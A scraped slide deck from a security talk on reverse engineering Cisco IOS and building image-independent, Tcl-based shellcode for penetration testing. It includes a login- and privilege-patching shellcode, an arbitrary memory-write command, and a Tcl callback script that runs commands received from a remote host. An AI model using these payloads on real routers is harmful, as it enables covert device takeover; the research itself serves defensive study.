GenAI Risks & Security Meetup 01052024.pdf
 
[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf
 
08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men
 
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemkeProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
 

Cisco IOS shellcode: All-in-one

  • 1. CISCO IOS SHELLCODE: ALL-IN-ONE George Nosenko gnosenko@dsec.ru
  • 2. CISCO IOS SHELLCODE: ALL-IN-ONE George Nosenko • Security researcher at Digital Security • Bug Hunter • Exploit Developer
  • 3. CISCO IOS SHELLCODE: ALL-IN-ONE Agenda Part 2: Cisco IOS Shellcoding • Motivation • Main Problems • Image-independet Shellcodes  Disassembling Shellcode  Interrupt-Hijack Shellcode • Tcl Shellcode  How does it work?  Features  Limitations  How is it made? Part 1: Cisco IOS Reverse Engineering • Main Problem • Subsystem • Registry • Processes • Glue Code / Simple Code / Dead Code • Command Parser • Where is libc? • Other • How to debug Cisco IOS • How to debug Cisco IOS XE
  • 4. CISCO IOS SHELLCODE: ALL-IN-ONE Prior works Attacking Network Embedded System Felix ‘FX’ Lindner 2002 The Holy Grail Cisco IOS Shellcode And Exploitation Techniques Michael Lynn 2005 Cisco IOS Shellcodes Gyan Chawdhary, Varun Uppal 2007 Remote Cisco IOS FTP Exploit Andy Davis 2007 Killing the myth of Cisco IOS rootkits: DIK Sebastian Muniz 2008 Cisco IOS - Attack & Defense. The State of the Art Felix ’FX’ Lindner 2008 Router Exploitation Felix ’FX’ Lindner 2009 Fuzzing and Debugging Cisco IOS Sebastian Muniz, Alfredo Ortega 2011 Killing the Myth of Cisco IOS Diversity Ang Cui, Jatin Kataria, Salvatore J. Stolfo 2011 Research on Cisco IOS Security Mechanisms Xiaoyan Sua 2011 Cisco IOS Rootkits and Malware Jason Nehrboss 2012 SYNful Knock A CISCO IMPLANT Bill Hau, Tony Lee, Josh Homan 2015
  • 5. CISCO IOS SHELLCODE: ALL-IN-ONE Cisco Diversity Overview Operation Systems Cisco IOS Cisco IOS XE (based on Linux) Cisco NX-OS (based on Linux) Cisco IOS XR (based on QNX) ASA OS (based on Linux) CatOS Architectures PowerPC (Book-E) MIPS Intel x86_x64 Over 300 000 unique images Killing the Myth of Cisco IOS Diversity
  • 6. CISCO IOS SHELLCODE: ALL-IN-ONE Part 1 CISCO IOS RE
  • 7. CISCO IOS SHELLCODE: ALL-IN-ONE Main problem • Designed as a single unit - a large, statically linked ELF binary • Everything is highly integrated and non-modular • There is no API Image size ≈ 142 MB Functions ≈ 350 000 IDA Database ≈ 2.5 GB Binwalk ≈ 100 GB
  • 8. CISCO IOS SHELLCODE: ALL-IN-ONE Reverse in context Inside Cisco IOS Software Architecture Vijay Bollapragada, CCIE Curtis Murphy, CCIE Russ White, CCIE Cisco IOS Programmer’s Guide Architecture Reference Software Release 12.0 Fifth Edition February 1999
  • 9. CISCO IOS SHELLCODE: ALL-IN-ONE Unpacking Firmware • The image may be self-decompressing • The image may contain:  loader  driver for flash  firmware for additional hardware  certificates • Binwalk will work successfully, but it generates a large output • To automate the analysis, you need to write an unpacker Killing the myth of Cisco IOS rootkits: DIK
  • 10. CISCO IOS SHELLCODE: ALL-IN-ONE Trace strings Function names Trace strings
  • 11. CISCO IOS SHELLCODE: ALL-IN-ONE Trace strings def rename_funcs(strings=None, pattern=None): names = [s for s in strings if re.search(pattern, str(s)) is not None] for name in names: for ref in DataRefsTo(name.ea): old_name = GetFunctionName(ref) func_addr = LocByNameEx(ref, old_name) if func_addr == BADADDR or has_user_name(getFlags(func_addr)): break MakeName( func_addr, str(name)) break if __name__ == "__main__": rename_funcs(strings=Strings(), pattern=r'^[a-z]{3,}_[a-z]+_') ≈ 8.5%
  • 12. CISCO IOS SHELLCODE: ALL-IN-ONE Subsystems struct subsystype_ { unsigned int magic1; unsigned int magic2; unsigned int header_version; unsigned int kernel_majversion; unsigned int kernel_minversion; char* namestring; unsigned int subsys_majversion; unsigned int subsys_minversion; unsigned int subsys_editversion; void* init_address; SUBSYSTEM_CLASS class; unsigned int id; char* properties[SUBSYS_MAX]; }; Router# show subsys ? class Show subsystems by class memory Show subsystems memory usage name Show subsystems by name running Show subsystem information about running processes | Output modifiers <cr> Router# show subsys Name Class Version cef Kernel 1.000.000 hw_api_trace_chain Kernel 1.000.001 mtrie Kernel 2.000.001 adj_trace_chain Kernel 1.000.001 alarm Kernel 1.000.001 arp Kernel 1.000.001 arp_app_data Kernel 1.000.001 ...
  • 13. CISCO IOS SHELLCODE: ALL-IN-ONE Subsystems All data relating to a subsystem is located below the header
  • 14. CISCO IOS SHELLCODE: ALL-IN-ONE Subsystems def create_subsytems(name='subsystype_'): for seg in get_data_segment(): for ea in search(start=seg.startEA, end=seg.endEA, pattern='C1 5C 05 15 C1 5C 05 15'): # it uses FindBinary p_name, p_func, sysclass = Dword(ea + 0x14), Dword(ea + 0x24), Dword(ea + 0x28) SetColor(p_func, CIC_FUNC, get_color_by_subsysclass(sysclass)) func_name = GetString(p_name) if func_name == '': continue if not has_user_name(getFlags(p_func)): print "ea: 0x%x 0x%x %s" % (ea, p_func, func_name) MakeNameAuto(p_func, func_name + '_subsys_init', SN_NOCHECK)
  • 15. CISCO IOS SHELLCODE: ALL-IN-ONE Registries and Services • Linker-independent mechanism • Service is an interface into subsystem • Registry is a collection of services • Service emulates common C construct (loop, switch, etc.) • 8-12 different types Router# show registry -------------------------------------------- CDP : 96 services CDP / 1 : List list[001] 0x062E6F38 ... CDP / 14 : Case size[000] list[003] default=0x05B4ED60 return_void 1 0x046D03BC 2 0x046D04F4 3 0x046D05D4 CDP / 15 : Value size[000] list[000] default=0 CDP / 16 : Stub 0x064F9230 ... CDP / 21 : Stub 0x05B4ED64 return_zero ... CDP / 38 : List list[004] 0x06B42A88 0x04D24970 0x06747680 0x06A0CB50 ... CDP / 54 : Loop list[005] 0x06A859CC 0x08CA07F0 0x087AC228 0x07EF5CE8 0x084B034C ... CDP / 57 : Retval size[000] list[000] default=0x046CB720 ... CDP : 96 services, 440 global bytes, 600 heap bytes [REG_NAME][NUM_SERVICE][TYPE](SUB)[ADDR] ≈ 7.4%
  • 16. CISCO IOS SHELLCODE: ALL-IN-ONE Process (is equivalent of a thread) #include “sched.h” pid_t cfork(forkproc (*padd), long pp, int stack, char *name, int ttynum); pid_t process_create(process_t (*padd), char *name, stack_size_t stack, process_priority_t priority); . . . result = process_create(bootload, “Boot Load”, LARGE_STACK, PRIO_NORMAL); if (result != NO_PROCESS) { process_set_arg_num(result, loading); process_set_ttynum(result, startup_ttynum); } Router# show processes CPU utilization for five seconds: 2%/0%; one minute: 2%; five minutes: 2% PID QTy PC Runtime (ms) Invoked uSecs Stacks TTY Process 1 Cwe 5B63990 152 11998 1225228/26000 0 Chunk Manager 2 Csp 6DE5568 48 37481 122612/23000 0 Load Meter 3 Mwe 44929A4 12 182631 028740/29000 0 BGP Scheduler 4 Mwe 7A426D8 0 11 025748/26000 0 Retransmission
  • 17. CISCO IOS SHELLCODE: ALL-IN-ONE Process. How to find a process_create() fast Router# show memory processor | include Process Address Bytes Prev Next Ref PrevF NextF Alloc PC what 12474BAC 0000000160 124737F8 12474C78 001 -------- -------- 08DF1798 *Init* 12474C78 0000000160 12474BAC 12474D44 001 -------- -------- 08DF1798 *Init* ... 1247BD18 0000004288 1247B710 1247CE04 001 -------- -------- 0638C148 TTY data 12483A50 0000000688 12483984 12483D2C 001 -------- -------- 05B9AFDC Process ... • Process is an internal structure (similar to PEB) • Process is allocated in cfork() at 05B9AFDC • A cfork () is called in process_create()
  • 18. CISCO IOS SHELLCODE: ALL-IN-ONE Process def find_all_proocess(func=None, proc_name_reg='r4'): ea = func.startEA for i, ref in enumerate(CodeRefsTo(ea, True)): proc_ep, proc_name = get_proc_entry_point(ref), get_proc_name(ref, dest_reg=proc_name_reg) if proc_ep is None: continue if has_dummy_name(GetFlags(proc_ep)): if MakeNameEx(proc_ep, proc_name, SN_NOWARN) == 0: print '[!] %d: MakeName failed ref=0x%x: 0x%x, %s' % (i, ref, proc_ep, proc_name) SetColor(proc_ep, CIC_FUNC, COLOR) if __name__ == '__main__': find_all_proocess(func=get_func(get_name_ea(BADADDR, 'process_create'))
  • 19. CISCO IOS SHELLCODE: ALL-IN-ONE Glue Code / Simple Code / Dead Code .text:041AF174 glue_sub_41AF174__memcpy: .text:041AF174 .text:041AF174 3D 60 08 DF lis r11, _memcpy@h .text:041AF178 39 6B 5F 24 addi r11, r11, _memcpy@l .text:041AF17C 7D 69 03 A6 mtctr r11 .text:041AF180 4E 80 04 20 bctr .text:041AF180 # End of function glue_sub_41AF174__memcpy .text:04110830 get_value_at_wC0011F4_o110: .text:04110830 .text:04110830 3D 20 0C 00 lis r9, off_C0011F4@h .text:04110834 80 69 11 F4 lwz r3, off_C0011F4@l(r9) .text:04110838 38 63 01 10 addi r3, r3, 0x110 .text:0411083C 4E 80 00 20 blr .text:0411083C # End of function get_value_at_wC0011F4_o110 .text:0412E5FC return_one: .text:0412E5FC 38 60 00 01 li r3, 1 .text:0412E600 4E 80 00 20 blr .text:0412E600 # End of function return_one FindBinary( 7D 69 03 A6 4E 80 04 20 ) FindBinary( 38 60 00 01 4E 80 00 20 ) FindBinary( 3D 20 ?? ?? 80 69 ?? ?? 38 63 ?? ?? 4E 80 00 20 ) ≈ 19%
  • 20. CISCO IOS SHELLCODE: ALL-IN-ONE Command Parser Tree • Located under the subsystem header • Node contains different information depending on the type • The root node has type = 0x56 struct tree_node { tree_node* right; tree_node* left; unsigned int type; payload* data; unsigned int unknown; }; struct payload_cmd { char* name; char* description; ... permission priv; ... };struct payload_handler { void* handler; void* arg; ... }; type = 0x1A type = 0x45 type = 0x56 payload = 0x1A1A1A1A
  • 21. CISCO IOS SHELLCODE: ALL-IN-ONE Where is libc? • In my case, libc is located at end of the code in .text • libc is a layer over OS service (printf, fopen, socket, malloc…) • libc is a collection of base functions (memcpy, strcpy, stncat…) • A base function is a simple code i.e. has a little cyclomatic complexity Look for all simple functions around the end of the code
  • 22. CISCO IOS SHELLCODE: ALL-IN-ONE Magic People, Voodoo People! Process 0xBEEFCAFE - Process Block Memory 0xAB1234CD - Heap Block 0xFD0110DF - Red Zone 0xDEADB10B - Pool 0xAFACEFAD - Packet Other 0x1A1A1A1A - Parser Root Node 0xABABABAB - TCP socket (TCB) 0xDEADCODE - Invalid interrupt handler Image/Boot/Code signing 0xFEEDFACE - Envelope header 0xBAD00B1E - Flash Driver (atafslib) 0xBEEFCAFE - Key Record Info
  • 23. CISCO IOS SHELLCODE: ALL-IN-ONE Cisco Discovery Router# show processes ? cpu Show CPU use per process memory Show memory use per process Router# show memory ? allocating-process Show allocating process name io IO memory stats processor Processor memory stats summary Summary of memory usage per alloc PC transient Router# show stack 1 Process 1: Chunk Manager Stack segment 0x1247D30C - 0x1248389C FP: 0x12483860, RA: 0x5B9CBFC FP: 0x12483888, RA: 0x5B63994 FP: 0x12483890, RA: 0x6DEEFA0 FP: 0x0, RA: 0x6DE8834 Router# show buffers all ? dump Show buffer header and all data header Show buffer header only packet Show buffer header and packet data pool Buffers in a specified pool Router# show list List Manager: 10944 lists known, 5907113 lists created ID Address Size/Max Name 1 FA7CA30 10/- Region List 2 E9C9560 1/- I/O 3 E9C85D0 2/- Processor Router# show tcp brief all TCB Local Address Foreign Address (state) 57B455EC 0.0.0.0.64999 *.* LISTEN 56FAD21C 0.0.0.0.34154 *.* LISTEN Router# show ip sockets Router# show version Router# show tech-support Router# show inventory Router# show module Router# show region Router# show module Router# show platform hardware tlb
  • 24. CISCO IOS SHELLCODE: ALL-IN-ONE Debugging under Cisco IOS Router> enable Router# gdb kernel • Cisco IOS contains a GDB server, but… • It doesn’t work with a generic GDB client  because the RSP protocol is a little different • You can: use ROMMON; patch old GDB; use IODIDE; create an adapter for IDA Pro.
  • 25. CISCO IOS SHELLCODE: ALL-IN-ONE Debugging under Cisco IOS XE (3.3.5SE) • Cisco IOS doesn’t contain a GDB server, but… • You can build (static) gdbserver and GDB for target platform • Then copy gdbserver to device and get Linux Shell Switch> enable Switch# configure terminal Switch(config)# service internal Switch(config)# end Switch# request system shell Activity within this shell can jeopardize the functioning of the system. Are you sure you want to continue? [y/n] Y Challenge:e2a41a61930e92d5da… Please enter the shell access response based on the above challenge… aaa | /bin/true [Switch:/]$ uname -a Linux Switch 2.6.32.59-cavium-octeon2.cge-cavium-octeon… mips64 GNU/Linux • Attach gdbserver to process “iosd” (flash:/ map at /mnt/sd3/user) [Switch:/mnt/sd3/user/gdbservers]$ ./gdbserver.mips /dev/ttyS0 --attach 8566
  • 26. CISCO IOS SHELLCODE: ALL-IN-ONE Part 2 CISCO SHELLCODING
  • 27. CISCO IOS SHELLCODE: ALL-IN-ONE Motivation Our pentesters often deal with Cisco equipment, particularly with binary vulnerabilities In public, there is no shellcode for the needs of pentesters We need a flexible and powerful tool
  • 28. CISCO IOS SHELLCODE: ALL-IN-ONE Main problems / Earlier shellcode .equ ret, 0x804a42e8 # hardcode .equ login, 0x8359b1f4 # hardcode .equ god, 0xff100000 .equ priv, 0x8359be64 # hardcode main: # login patch begin lis 9, login@ha la 9, login@l(9) li 8,0 stw 8, 0(9) # login patch end # priv patch begin lis 9, priv@ha la 9, priv@l(9) lis 8, god@ha la 8, god@l(8) stw 8, 0(9) # priv patch end # exit code lis 10, ret@ha addi 4, 10, ret@l mtctr 4 bctrl • There is no open API or syscall’s for a third party developer. System calls are the interface into ROMMON  put char in console  reboot  change confreg, etc • Cisco IOS Binary Diversity • Cisco IOS is highly integrated (static linked) one big ELF without any modules (e.g. *.so) Cisco IOS Bind shellcode by Varun Uppal Cisco IOS Connectback shellcode by Gyan Chawdhary Cisco IOS Shellcodes – BlackHat USA 2008 Tiny shellcode by Gyan Chawdhary
  • 29. CISCO IOS SHELLCODE: ALL-IN-ONE Image-independent shellcodes 1. Signature-based Shellcode by Andy Davis - Version-independent IOS shellcode, 2008 Invariant is a structure of code 2. Disassembling Shellcode by Felix ‘FX’ Lindner - Cisco IOS Router Explotation, 2009 Invariant is an unique string 3. Interrupt-Hijack Shellcode by Columbia University NY - Killing the Myth of Cisco IOS Diversity, 2011 Invariant is an interrupt handler routines All leverage a common Cisco IOS invariant to overcome a binary diversity
  • 30. CISCO IOS SHELLCODE: ALL-IN-ONE Disassembling Shellcode .data .text Basic technique 1. Find a unique string to determine its address 2. Look for a code which references this string 3. Patch the function Pros & Cons • Reliable - it works on a wide range of Cisco equipment • Full interaction, but it is not a covert • We have to be constrained by only IOS shell • May cause watchdog timer exceptions to be thrown, which terminates and logs all long running processes Cisco IOS Router Explotation, 2009 Killing the Myth of Cisco IOS Diversity, 2011
  • 31. CISCO IOS SHELLCODE: ALL-IN-ONE Interrupt-Hijack Shellcode Two-stage attack Stage 1: 1. Unpack the second-stage shellcode 2. Locate ERET instruction 3. Intercept all interrupt handlers Stage 2: 1. Receive command by looking for incoming packets with specific format 2. Execute command Pros & Cons • Fast, Stealth, High Privilege • Create a hidden channel over ICMP • It has a complex structure, it operates asynchronously • It presupposes a database containing the image-dependent payload to stage 3 • Rootkit-oriented Killing the Myth of Cisco IOS Diversity, 2011 Stage 1 Stage 2
  • 32. CISCO IOS SHELLCODE: ALL-IN-ONE Interesting fact about SYNful Knock It seems that the SYNful Knock implant works in a similar way as the Interrupt-Hijack shellcode does FireEye: SYNful Knock A CISCO IMPLANT
  • 33. CISCO IOS SHELLCODE: ALL-IN-ONE Requirements to our shellcode • Image and CPU architecture should be independent • Works on a wide range of Cisco equipment • Pentest-oriented • The most powerful and flexible • So fast that not to be caught by a watchdog
  • 34. CISCO IOS SHELLCODE: ALL-IN-ONE Demo 0x01
  • 35. CISCO IOS SHELLCODE: ALL-IN-ONE Tool Command Language • Invented by John K. Ousterhout, Berkeley, 1980s http://www.tcl.tk • Interpreted Language, runtime available for many platforms (socket, files, regexp, list, etc.) • Tcl has been included in Cisco IOS as a generic scripting language since 2003 (Release 12.3(2)T) • In IOS, Tcl is extended by special commands:  exec - executes an IOS shell command  ios_config - changes configuration  typeahead - emulates a user input  etc. • Tcl Policy for Embedded Event Manager (EEM) Cisco Feature Navigator
  • 36. CISCO IOS SHELLCODE: ALL-IN-ONE Tcl and Pentesting • Almost the only way to extend the functionality of Cisco IOS • Tcl scripts are portable between different platforms Backdoors Creating Backdoors in Cisco IOS using Tcl Tools IOSMap: TCP and UDP Port Scanning on Cisco IOS Platforms IOScat - a Port of Netcat's TCP functions to Cisco IOS Malware IOSTrojan: Who really owns your router? Cisco IOS Rootkits and Malware (Hakin9 Vol2 No4) More Ideas (Twitter as CC, Bot, Flood, Exploit) Attacking with Cisco devices PH-Neutral 2009 Attacking with Cisco devices Hashdays 2010 Attacking with Cisco devices HSLU 2011 Cisco Support Community/EMM Scripting Shellcode Felix ‘FX’ Lindner first proposed the use of Tcl in the shellcode Cisco IOS Router Explotation
  • 37. CISCO IOS SHELLCODE: ALL-IN-ONE Tcl Shellcode. How does it work? Stage 1 1. Determine the memory layout 2. Look for the Tcl subsystem in .data 3. Find a Tcl C API table within this subsystem 4. Determine addresses of all handlers for Tcl IOS command extension 5. Create new Tcl commands 6. Create new Tcl Interpreter by using Tcl C API 7. Run a Tcl script from memory (script is integrated in shellcode) Stage 2 1. Script connects to the “callback” server 2. Evaluate any Tcl expression received from the server cisco router callback server listen TCP(1337) evil host Tcl Txt .text Tcl_Iterp shellcode script
  • 38. CISCO IOS SHELLCODE: ALL-IN-ONE Tcl Shellcode. How does it work? Stage 1 1. Determine the memory layout 2. Look for the Tcl subsystem in .data 3. Find a Tcl C API table within this subsystem 4. Determine addresses of all handlers for Tcl IOS command extension 5. Create new Tcl commands 6. Create new Tcl Interpreter by using Tcl C API 7. Run a Tcl script from memory (script is integrated in shellcode) Stage 2 1. Script connects to the “callback” server 2. Evaluate any Tcl expression received from the server cisco router callback server listen TCP(1337) evil host Tcl Txt .text Tcl_Iterp shellcode script
  • 39. CISCO IOS SHELLCODE: ALL-IN-ONE Determine the memory layout Motivation • To reduce the search time • Not to cause an access violation Router# show platform hardware tlb Virt Address range Phy Address range W-I-M-G-E-S Attr TS ESEL ============================================================================ 0xFF000000-0xFFFFFFFF 0x0_FF000000-0x0_FFFFFFFF 1-1-0-1-0-0 RWX 0 (0) . . . 0x04000000-0x07FFFFFF 0x0_04000000-0x0_07FFFFFF 0-0-1-0-0-0 RWX 0 (5) 0x08000000-0x0BFFFFFF 0x0_08000000-0x0_0BFFFFFF 0-0-1-0-0-0 R-X 0 (6) 0x0C000000-0x0FFFFFFF 0x0_0C000000-0x0_0FFFFFFF 0-0-1-0-0-0 RW- 0 (7) . . . • Have to use the System Purpose Registers (SPR) • This method depends on the processor architecture • We can skip this step • Because our shellcode is developed in C, it's not a big problem
  • 40. CISCO IOS SHELLCODE: ALL-IN-ONE Tcl Shellcode. How does it work? Stage 1 1. Determine the memory layout 2. Look for the Tcl subsystem in .data 3. Find a Tcl C API table within this subsystem 4. Determine addresses of all handlers for Tcl IOS command extension 5. Create new Tcl commands 6. Create new Tcl Interpreter by using Tcl C API 7. Run a Tcl script from memory (script is integrated in shellcode) Stage 2 1. Script connects to the “callback” server 2. Evaluate any Tcl expression received from the server cisco router callback server listen TCP(1337) evil host Tcl Txt .text Tcl_Iterp shellcode script
  • 41. CISCO IOS SHELLCODE: ALL-IN-ONE Looking for the Tcl subsystem Motivation • To reduce the search time • All data relating to the Tcl subsystem is located below the header • All functions relating the Tcl subsystem is located within tcl_subsys_init • Locate all subsystems by signature C15C0515 C15C0515 • Find the Tcl subsystem by name “tcl” subsystype_ <0xC15C0515, 0xC15C0515, 1, 0, 0, "tcl", 2, 0, 1, tcl_subsys_init, Library, 0, 0, 0>
  • 42. CISCO IOS SHELLCODE: ALL-IN-ONE Tcl Shellcode. How does it work? Stage 1 1. Determine the memory layout 2. Look for the Tcl subsystem in .data 3. Find a Tcl C API table within this subsystem 4. Determine addresses of all handlers for Tcl IOS command extension 5. Create new Tcl commands 6. Create new Tcl Interpreter by using Tcl C API 7. Run a Tcl script from memory (script is integrated in shellcode) Stage 2 1. Script connects to the “callback” server 2. Evaluate any Tcl expression received from the server cisco router callback server listen TCP(1337) evil host Tcl Txt .text Tcl_Iterp shellcode script
  • 43. CISCO IOS SHELLCODE: ALL-IN-ONE Find Tcl C API Table Tcl C API • used for embedding • used for extending • Tcl API • To abstract the specifics of the platform, a function’s pointer table tclStubs is used • We can get address of tclStubs by looking for the signature 0xFCA3BACF #define TCL_STUB_MAGIC 0xFCA3BACF TclStubs tclStubs = { TCL_STUB_MAGIC, &tclStubHooks, Tcl_PkgProvideEx, /* 0 */ Tcl_PkgRequireEx, /* 1 */ Tcl_Panic, /* 2 */ . . . Tcl_CreateCommand, /* 91 */ Tcl_CreateInterp, /* 94 */ Tcl_DeleteInterp, /* 110 */ Tcl_Eval, /* 129 */ Tcl_Exit, /* 133 */ . . . }
  • 44. CISCO IOS SHELLCODE: ALL-IN-ONE Tcl Shellcode. How does it work? Stage 1 1. Determine the memory layout 2. Look for the Tcl subsystem in .data 3. Find a Tcl C API table within this subsystem 4. Determine addresses of all handlers for Tcl IOS command extension 5. Create new Tcl commands 6. Create new Tcl Interpreter by using Tcl C API 7. Run a Tcl script from memory (script is integrated in shellcode) Stage 2 1. Script connects to the “callback” server 2. Evaluate any Tcl expression received from the server cisco router callback server listen TCP(1337) evil host Tcl Txt .text Tcl_Iterp shellcode script
  • 45. CISCO IOS SHELLCODE: ALL-IN-ONE Determine address of a handler for an extension Motivation • We want to use the Tcl IOS extensions • We already have (in tclStubs ) the address of Tcl_CreateCommand • So, we can locate all the places where it is called • Then we can get the handler’s address and the name of extension by disassembling Tcl_Command Tcl_CreateCommand _( Tcl_Interp * interp, char * cmdName, dTcl_CmdProc * proc, ClientData clientData, Tcl_CmdDeleteProc * deleteProc); 3C 80 09 94 lis r4, aIos_config@h # "ios_config" 3C A0 05 A7 lis r5, ios_config@ha 38 84 12 44 addi r4, r4, aIos_config@l # cmdName 38 A5 DF 0C addi r5, r5, ios_config@l # cmdProc 38 C0 00 00 li r6, 0 # clientData 38 E0 00 00 li r7, 0 # deleteProc 7F E3 FB 78 mr r3, r31 # interp 48 01 0F 8D bl Tcl_CreateCommand
  • 46. CISCO IOS SHELLCODE: ALL-IN-ONE Tcl Shellcode. How does it work? Stage 1 1. Determine the memory layout 2. Look for the Tcl subsystem in .data 3. Find a Tcl C API table within this subsystem 4. Determine addresses of all handlers for Tcl IOS command extension 5. Create new Tcl commands 6. Create new Tcl Interpreter by using Tcl C API 7. Run a Tcl script from memory (script is integrated in shellcode) Stage 2 1. Script connects to the “callback” server 2. Evaluate any Tcl expression received from the server cisco router callback server listen TCP(1337) evil host Tcl Txt .text Tcl_Iterp shellcode script
  • 47. CISCO IOS SHELLCODE: ALL-IN-ONE Create your own Tcl command int wmem(void* clientData, void* interp, int argc, char** argv) // wmem addr value { Interp* iPtr = (Interp *) interp; unsigned int* ptr = NULL; unsigned int value = 0; if(argc != 3) { iPtr->stubTable->tcl_AppendResult(interp, "wrong args", (char *) NULL); return TCL_ERROR; } if(iPtr->stubTable->tcl_GetInt(interp, argv[1], &ptr) != TCL_OK) return TCL_ERROR; if(iPtr->stubTable->tcl_GetInt(interp, argv[2], &value) != TCL_OK) return TCL_ERROR; *ptr = value; // write to an arbitrary address return TCL_OK; }
  • 48. CISCO IOS SHELLCODE: ALL-IN-ONE Tcl Shellcode. How does it work? Stage 1 1. Determine the memory layout 2. Look for the Tcl subsystem in .data 3. Find a Tcl C API table within this subsystem 4. Determine addresses of all handlers for Tcl IOS command extension 5. Create new Tcl commands 6. Create new Tcl Interpreter by using Tcl C API 7. Run a Tcl script from memory (script is integrated in shellcode) Stage 2 1. Script connects to the “callback” server 2. Evaluate any Tcl expression received from the server cisco router callback server listen TCP(1337) evil host Tcl Txt .text Tcl_Iterp shellcode script
  • 49. CISCO IOS SHELLCODE: ALL-IN-ONE Run Tcl script from memory / Eval^2 void shellcode() { . . . Tcl_Interp* interp = Tcl_CreateInterp(); Tcl_CmdProc* tcl_exec = find_Tcl_command(subsys->init_address, 1MB, "exec", Tcl_CreateCommand); if(tcl_exec != NULL){ Tcl_CreateCommand(interp, "exec", tcl_exec, 0, 0); } Tcl_CreateCommand(interp, "wmem", wmem, 0, 0); const char* script = #include "./tcl/stage2.tcl" ; Tcl_Eval(interp, script); . . . } # ./tcl/stage2.tcl set sockid [ socket "192.168.1.2" 1337] while {1} { flush $sockid set line [gets $sockid] catch {eval $line} cmdres puts $sockid $cmdres } close $sockid
  • 50. CISCO IOS SHELLCODE: ALL-IN-ONE Features / Properties / Limitations Properties • Image-independent • It’s easy to port to other CPU architecture • Approach can be applied to Cisco IOS XE • No need to worry about a watchdog • Hijack a process Limitations • Tcl is not everywhere • The relatively large size (2KB – 2.5KB) • We can not create a Tcl server • It uses an open channel (TCP connection) Features • We have a shell with the highest level of privileges • We can work with file system and sockets • We can read/write memory: • to change behavior of Cisco IOS • to analyze IOMEM Advanced Features • Macro Command (e.g. create GRE tunnel) • Automation of attacks • Reuse other TCl tools • ROMMON Trojan
  • 51. CISCO IOS SHELLCODE: ALL-IN-ONE Demo 0x02
  • 52. CISCO IOS SHELLCODE: ALL-IN-ONE Conclusion
  • 53. CISCO IOS SHELLCODE: ALL-IN-ONE The End www.dsec.ru gnosenko@dsec.ru